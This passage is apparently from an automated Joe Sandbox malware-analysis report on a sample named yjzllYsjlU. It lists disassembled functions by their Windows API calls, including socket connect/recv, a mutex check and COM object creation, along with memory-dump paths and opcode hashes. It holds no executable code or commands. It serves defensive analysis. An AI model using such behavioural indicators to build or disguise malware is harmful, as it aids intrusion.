SetLastError.KERNEL32(00000000,00000008,000000FF,?,004375FB,00402247), ref: 0043A86B

Strings

x!F, xrefs: 0043A853

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!F
API String ID: 2283115069-3062043068
Opcode ID: 56f9d83506fe0b5766636a44d0cab5e527ac01f444b2ac40f8d129dc50e40d0b
Instruction ID: 43a0ef826740dec3b5b6cec3c960c44763b9b2bf66f2e005ed7dcd0d28945869
Opcode Fuzzy Hash: 56f9d83506fe0b5766636a44d0cab5e527ac01f444b2ac40f8d129dc50e40d0b
Instruction Fuzzy Hash: 0A1106312847003A961132765CC5E6B221AEBC977DF24223BF764822D2EFAECC23415F

Function 021BAA2F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,021B7862,021824AE), ref: 021BAA34
_free.LIBCMT ref: 021BAA91
_free.LIBCMT ref: 021BAAC7
SetLastError.KERNEL32(00000000,00462170,000000FF,?,021B7862,021824AE), ref: 021BAAD2

Strings

x!F, xrefs: 021BAABA

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!F
API String ID: 2283115069-3062043068
Opcode ID: 56f9d83506fe0b5766636a44d0cab5e527ac01f444b2ac40f8d129dc50e40d0b
Instruction ID: 2ce481aed3740b092f867dbd1c19376989278106d76045299edcdc9ababa2a65
Opcode Fuzzy Hash: 56f9d83506fe0b5766636a44d0cab5e527ac01f444b2ac40f8d129dc50e40d0b
Instruction Fuzzy Hash: 7011E9352C87007EDA1766755D80EFA227AAFC3778B150235F624925E0EBA28D054665

Function 00435FB7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00436007

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 65fe2d25819fbcf81a19c36cb243a6994e9bb55f4a4ff3c1705520088a00f9a9
Instruction ID: e982735470ecda22ca74b33b30026038f59a5160edbe4d0761f7899da1883318
Opcode Fuzzy Hash: 65fe2d25819fbcf81a19c36cb243a6994e9bb55f4a4ff3c1705520088a00f9a9
Instruction Fuzzy Hash: 72110F35901726BBC736CB68DC45A1F37749F097A1F325523ED01A7391D638DD008AE8

Function 00432097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 004320B7
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004320C8
StructuredWorkStealingQueue.LIBCMT ref: 004320FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0043210F

Strings

e, xrefs: 004320D9

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 1ff5ec0336f97ae43b1f0b8f375a3bc5f2b05840f56227257267f5d03aa7fa4d
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 9411C131200104ABDF45DE69CB8166B73A4AF0A328F14D05BFD068F242DBF9D905CB99

Function 021B22FE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 021B231E
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021B232F
StructuredWorkStealingQueue.LIBCMT ref: 021B2365
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021B2376

Strings

e, xrefs: 021B2340

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: c3404b7b94436087d4b0600e274b0e64b961e18d49a2e9e2f5ce0b885acb57ce
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 2B1191311401059BDB1BDE68C850AEF77B9AF0A314B18C569EC169F221DB71D90DCFA0

Function 0218ABC7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0218ABCA
CreateMutexA.KERNEL32(00000000,00000000,00463254), ref: 0218ABE8
GetLastError.KERNEL32 ref: 0218ABF0
GetLastError.KERNEL32 ref: 0218AC01

Strings

T2F, xrefs: 0218ABD7

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateMutexSleep
String ID: T2F
API String ID: 3645482037-3862687658
Opcode ID: 187082659592547e38ccbb39052786932d1335d10d1d45dc72119e21490735fa
Instruction ID: 4b0107e7222c91d892e4fb394a5a0b61ac4a66f0801cd8f3fd161ba45cfd1ae5
Opcode Fuzzy Hash: 187082659592547e38ccbb39052786932d1335d10d1d45dc72119e21490735fa
Instruction Fuzzy Hash: F901D131680344EFE710AF68FC48B5A7765EB41B22F100A36E615831D0EB78A944CF59

Function 0043656D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00436562,?,?,0043652A,?,?,?), ref: 00436582
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00436595
FreeLibrary.KERNEL32(00000000,?,?,00436562,?,?,0043652A,?,?,?), ref: 004365B8

Strings

mscoree.dll, xrefs: 0043657B
CorExitProcess, xrefs: 0043658D

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 149a4b1e0247f71675fe1653e9c2ac55fef454062cb741321ed7f61413657623
Instruction ID: dbc2b550f678300173dffafd29bb25114a02185772f501870b49608a3602ef38
Opcode Fuzzy Hash: 149a4b1e0247f71675fe1653e9c2ac55fef454062cb741321ed7f61413657623
Instruction Fuzzy Hash: C4F01235941319FBDB129B50ED0EB9E7A79EB04757F154072F805A22A1CB78CF04DB98

Function 0041D199 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,0041D136,00000064), ref: 0041D1BC
RtlLeaveCriticalSection.NTDLL(00465750), ref: 0041D1C6
WaitForSingleObjectEx.KERNEL32(00468680,00000000,?,0041D136,00000064,?,76230F00,?,004075ED,00468680), ref: 0041D1D7
RtlEnterCriticalSection.NTDLL(00465750), ref: 0041D1DE

Strings

PWF, xrefs: 0041D1C0

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: PWF
API String ID: 3269011525-4189640852
Opcode ID: 797b37c2cabad88e9ba561759b38bac6fac545db67df0b7ba0c67b1f35825c1a
Instruction ID: 46656ffccb6e8e596dcc74b2c483e7fba3308dd0c831886d2789c24014a254a2
Opcode Fuzzy Hash: 797b37c2cabad88e9ba561759b38bac6fac545db67df0b7ba0c67b1f35825c1a
Instruction Fuzzy Hash: 75E01235641B24F7CB021B50EC09B8E3F58EB05753F144032FA05661619B659D40DBDF

Function 004467A9 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00521A18,00521A18,?,7FFFFFFF,?,?,00446A65,00521A18,00521A18,?,00521A18,?,?,?,?,00521A18), ref: 0044684C
__alloca_probe_16.LIBCMT ref: 00446902
__alloca_probe_16.LIBCMT ref: 00446998
__freea.LIBCMT ref: 00446A03
__freea.LIBCMT ref: 00446A0F

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: c93d5030befdd3412ed34437d1360547b5edfd3f1e8b3b9334df1f5af1b906f8
Instruction ID: 261b0646ef3bb21783759df69fc444e01875a83395626589d87ed72ffed4e1ba
Opcode Fuzzy Hash: c93d5030befdd3412ed34437d1360547b5edfd3f1e8b3b9334df1f5af1b906f8
Instruction Fuzzy Hash: 4481C172D006459BEF20AF658881AEF7BB5DF0B354F1A405BE904B7341E739CC458BAA

Function 00444C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00444C98
__alloca_probe_16.LIBCMT ref: 00444D5E
__freea.LIBCMT ref: 00444DCA

Part of subcall function 0043B04B: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0043B07D

__freea.LIBCMT ref: 00444DD3
__freea.LIBCMT ref: 00444DF6

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 1f817f6d5ac6458dcc7bc62f3b6682248ba7d3e94ffd72069e84dbc94cae19ff
Instruction ID: 3df8754f567642f5bc12b9c6ac1686bc91f11376b98a6e44c20c24ac8824f300
Opcode Fuzzy Hash: 1f817f6d5ac6458dcc7bc62f3b6682248ba7d3e94ffd72069e84dbc94cae19ff
Instruction Fuzzy Hash: 1651D5B2A00216ABFB255F55DC81FBB36A9DFC4754F15012BFD0497251EB38DC1186A8

Function 0218DE47 Relevance: 7.7, APIs: 5, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d23cd4dd6e2fa0143c66012945725be57b8f486d799fb0b8f6dfb3b5511e53
Instruction ID: 9fe20825ab4e110aa9a0c60296a7db4166f1dda9c82ae5e362aa72f56640b031
Opcode Fuzzy Hash: d6d23cd4dd6e2fa0143c66012945725be57b8f486d799fb0b8f6dfb3b5511e53
Instruction Fuzzy Hash: CB618570D44718AFDB20EF64CD89B99B7B5FF04310F1042AAE80DA7251EB74AA41CF96

Function 0040DEDE Relevance: 7.6, APIs: 5, Instructions: 142networkCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0040DF4D
recv.WS2_32(?,?,00001F40,00000000), ref: 0040DF86
recv.WS2_32(?,?,00001F40,00000000), ref: 0040DFB4
closesocket.WS2_32(?), ref: 0040E028
__Mtx_unlock.LIBCPMT ref: 0040E05D

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Mtx_unlockrecv$closesocket
String ID:
API String ID: 1157980791-0
Opcode ID: b3ca68a6cb2e0dd676154645a2f8576170dabd98dca11c7a3b3798b3f7b83ddb
Instruction ID: ff851d167357bcc52532b6b7cc28a367e5acf8f97903fc6b0511556a698fdea0
Opcode Fuzzy Hash: b3ca68a6cb2e0dd676154645a2f8576170dabd98dca11c7a3b3798b3f7b83ddb
Instruction Fuzzy Hash: DF51D371D04201EFD7209F51CC89A96B7B5FF04304F1481BFE80AA72A1EB75AD54CB59

Function 021B721B Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,021B714D), ref: 021B723D
GetFileInformationByHandle.KERNEL32(?,?), ref: 021B7297
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,021B714D,?,000000FF,00000000,00000000), ref: 021B7325
__dosmaperr.LIBCMT ref: 021B732C
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 021B7369

Part of subcall function 021B7591: __dosmaperr.LIBCMT ref: 021B75C6

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 19e1070b04fb49a2dd5738f37f72da11fb3a5a43ccc6689087d144dd6161f976
Instruction ID: f23d715dedfa11b3dd87fe92712e343a22063bfafc6df4d99a270ac8289bd27c
Opcode Fuzzy Hash: 19e1070b04fb49a2dd5738f37f72da11fb3a5a43ccc6689087d144dd6161f976
Instruction Fuzzy Hash: A8413A76980704AFDB259FA5EC449EFFBF9EF88300B00452DE856D32A0E7309941CB21

Function 0218BC57 Relevance: 7.6, APIs: 5, Instructions: 130comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0218BCBE
CoCreateInstance.COMBASE(00458F80,00000000,00000001,00458F90,?), ref: 0218BCDA
CoUninitialize.COMBASE ref: 0218BCE8
CoUninitialize.COMBASE ref: 0218BDA7
CoUninitialize.COMBASE ref: 0218BDBB

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID:
API String ID: 1968832861-0
Opcode ID: 3e1efb8a3acf5b83f8398f094812db7d9444b93ce0f50575ee480a284648f072
Instruction ID: dd73b36e4548d7907d72a599073cc206d142b6dc205385fe557d554ee065d74c
Opcode Fuzzy Hash: 3e1efb8a3acf5b83f8398f094812db7d9444b93ce0f50575ee480a284648f072
Instruction Fuzzy Hash: BE419031A44109AFDB08DF68CC89BAE77B5EF48719F108258F915E7291DB75EA40CFA0

Function 0042DB30 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0042DB64

Part of subcall function 00428F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00428F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0042DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0042DBE9
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 0042DC09
Concurrency::location::_Assign.LIBCMT ref: 0042DC56

Part of subcall function 00431332: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00431377

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID:
API String ID: 1879022333-0
Opcode ID: 3f867edf2e3fea7535e6fe073452b703bba04c29d155da01a3a84350d07a286a
Instruction ID: de4f072aaf1dca0b17399bd929b16a9a875841cf6160958f8114d71bd43867b1
Opcode Fuzzy Hash: 3f867edf2e3fea7535e6fe073452b703bba04c29d155da01a3a84350d07a286a
Instruction Fuzzy Hash: 84412774B04220ABCF199B25D895BAEBB75AF45310F40409FE5065B3C2CB78AD45C7D9

Function 021ADD97 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021ADDCB

Part of subcall function 021A9196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021A91B7

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 021ADE2A
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 021ADE50
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 021ADE70
Concurrency::location::_Assign.LIBCMT ref: 021ADEBD

Part of subcall function 021B1599: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 021B15DE

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID:
API String ID: 1879022333-0
Opcode ID: 3f867edf2e3fea7535e6fe073452b703bba04c29d155da01a3a84350d07a286a
Instruction ID: a5f139e1793b802416312316548c807c1bc52676c2e657816dcaa9d469f9f409
Opcode Fuzzy Hash: 3f867edf2e3fea7535e6fe073452b703bba04c29d155da01a3a84350d07a286a
Instruction Fuzzy Hash: C7410778680210AFCF19EB24D8A5BBDBB76AF45720F1440D9E5069B781CB30A945CBD1

Function 0219EF4D Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0219EF54
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0219EF7E

Part of subcall function 0219F644: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0219F661

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0219EFFB
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0219F02D
__freea.LIBCMT ref: 0219F053

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__freea
String ID:
API String ID: 2497068736-0
Opcode ID: a6c94f2b07b76275c46f7f4adf28e57aec3c88f13b0cf4508af0eed2d0fdcfcc
Instruction ID: eac5fc399bf4722658b0662f16c1523b75433be8c889703b0f40a3f7756e255b
Opcode Fuzzy Hash: a6c94f2b07b76275c46f7f4adf28e57aec3c88f13b0cf4508af0eed2d0fdcfcc
Instruction Fuzzy Hash: 7B319E75A402059FCF19DFA8C840AAEB7B6EF09714F29406FE445E7340DB74AD02CB95

Function 004286C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 004286EE

Part of subcall function 0041EAD0: _SpinWait.LIBCONCRT ref: 0041EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00428702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00428734
List.LIBCMT ref: 004287B7
List.LIBCMT ref: 004287C6

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: b0a24117a62347580a2ad84b9a89b7294bf208186338a952b26754fdafb675af
Instruction ID: 462aa756160b9a796e7fec1675da630e13b8ae80002d108a4576a0d2cee0735b
Opcode Fuzzy Hash: b0a24117a62347580a2ad84b9a89b7294bf208186338a952b26754fdafb675af
Instruction Fuzzy Hash: C9318832A02265DFCB14EFA5E9816DEB7B1BF44308FA4406FD80167242CB79AD05CB99

Function 0040DDCF Relevance: 7.6, APIs: 5, Instructions: 80networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000000,?,?), ref: 0040DE2C
FreeAddrInfoW.WS2_32(?), ref: 0040DE4D
socket.WS2_32(00000002,00000001,00000000), ref: 0040DE75
connect.WS2_32(00000000,?,00000010), ref: 0040DE87
closesocket.WS2_32(00000000), ref: 0040DEA1

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddrFreeInfoclosesocketconnectgetaddrinfosocket
String ID:
API String ID: 242599585-0
Opcode ID: d3982aedac2a5c94766331ef093bc1566eeb3870826ac122965e00373034951a
Instruction ID: 23abe507401a6561ed447c90683016714f9a9af45c9242d02c2306d312d96357
Opcode Fuzzy Hash: d3982aedac2a5c94766331ef093bc1566eeb3870826ac122965e00373034951a
Instruction Fuzzy Hash: 9E218875E053149BDB249BA1DC89FEE7368DF18301F0000BBF909A62C1D7789D948B5A

Function 021A75CB Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 021A7617
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 021A7659
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 021A7675
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 021A7680
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021A76A7

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID:
API String ID: 3897347962-0
Opcode ID: c12b9fb7ade3771b82fb90936bc3b93d705f62869cacdabd48ca9c13149a27d9
Instruction ID: 63504bdf3c6709ac7932deb389ab30c4125ef8b878552fee5e50c6983ca404f7
Opcode Fuzzy Hash: c12b9fb7ade3771b82fb90936bc3b93d705f62869cacdabd48ca9c13149a27d9
Instruction Fuzzy Hash: A2214F78A40208AFDF04EFADC5A4BADB7B5BF09354F5040A9D905A73A1DB30AE05CF94

Function 0043F03A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043F052

Part of subcall function 0043ADF5: HeapFree.KERNEL32(00000000,00000000,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?), ref: 0043AE0B
Part of subcall function 0043ADF5: GetLastError.KERNEL32(?,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?,?), ref: 0043AE1D

_free.LIBCMT ref: 0043F064
_free.LIBCMT ref: 0043F076
_free.LIBCMT ref: 0043F088
_free.LIBCMT ref: 0043F09A

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9c86520c17fee5bb977a366526a4cd1d97e426023ecba6e0783088212fd463c3
Instruction ID: afd9a687733b4b320e977570e7283cbf07406cc3be8dc42b58a2af08add3b970
Opcode Fuzzy Hash: 9c86520c17fee5bb977a366526a4cd1d97e426023ecba6e0783088212fd463c3
Instruction Fuzzy Hash: 7AF06832904604FB8534EB5DE681C0773FBEA48312B54281BF048D7611CBB8FC84465D

Function 021BF2A1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 021BF2B9

Part of subcall function 021BB05C: HeapFree.KERNEL32(00000000,00000000,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?), ref: 021BB072
Part of subcall function 021BB05C: GetLastError.KERNEL32(?,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?,?), ref: 021BB084

_free.LIBCMT ref: 021BF2CB
_free.LIBCMT ref: 021BF2DD
_free.LIBCMT ref: 021BF2EF
_free.LIBCMT ref: 021BF301

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
